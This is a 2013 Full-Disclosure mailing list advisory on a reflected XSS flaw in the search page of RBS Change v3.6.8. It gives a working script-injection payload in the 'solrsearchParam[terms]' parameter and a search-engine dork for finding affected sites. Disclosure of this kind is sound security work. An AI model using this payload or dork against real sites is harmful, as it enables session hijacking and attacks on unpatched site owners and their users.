[prev in list] [next in list] [prev in thread] [next in thread]
List: full-disclosure
Subject: [Full-disclosure] RBS Change v3.6.8 XSS Vulnerability
From: "metropolis haxor" <metrOpolis () linuxmail ! org>
Date: 2013-12-25 15:08:52
Message-ID: 20131225150852.263970 () gmx ! com
[Download RAW message or body]
[Attachment #2 (multipart/alternative)]
Hi guys,
You can find the software affected at http://www.rbschange.fr/addons/distributions/RBS-Change-Core,51422.html
Thanks,
Metropolis
[Attachment #5 (text/html)]
<span style='font-family:Verdana'><span style='font-size:12px'>Hi guys,<br /><br />You can find \
the software affected at \
http://www.rbschange.fr/addons/distributions/RBS-Change-Core,51422.html<br /><br />Thanks,<br \
/><br />Metropolis</span></span>
["RBS Change v3.6.8 XSS vulnerability.txt" (text/plain)]
###########################################
#
# Script Name : RBS Change
#
# Version : v3.6.8
#
# Bug Type : XSS vulnerability
#
# Found by : Metropolis
#
# Home : http://metropolis.fr.cr
#
# Discovered : 25/12/2013
#
# Download app : http://www.rbschange.fr/addons/distributions/RBS-Change-Core,51422.html
#
# Google search : Propulsé par RBS Change
#
###########################################
PoC :
http://[target]/[path]/fr/website/Resultat-de-recherche,12470.html?solrsearchParam[terms]=[XSS]
Example :
http://[target]/[path]/fr/website/Resultat-de-recherche,12470.html?solrsearchParam[terms]=1"><script>alert(31337);</script>
local Example :
http://localhost/demo/fr/website/Resultat-de-recherche,12470.html?solrsearchParam[terms]=1"><script>alert(31337);</script>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic